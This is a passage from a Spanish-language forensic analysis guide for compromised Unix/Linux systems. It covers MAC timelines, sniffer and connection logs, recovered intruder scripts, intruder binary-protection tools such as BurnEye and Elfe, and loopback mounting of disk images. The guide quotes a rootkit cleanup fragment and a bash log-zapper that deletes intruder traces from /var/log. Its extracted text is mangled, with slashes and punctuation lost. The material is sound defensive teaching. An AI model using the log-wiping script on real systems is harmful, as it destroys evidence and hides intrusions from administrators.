Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 27: Análisis Forense de Sistemas GNU/Linux, Unix

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

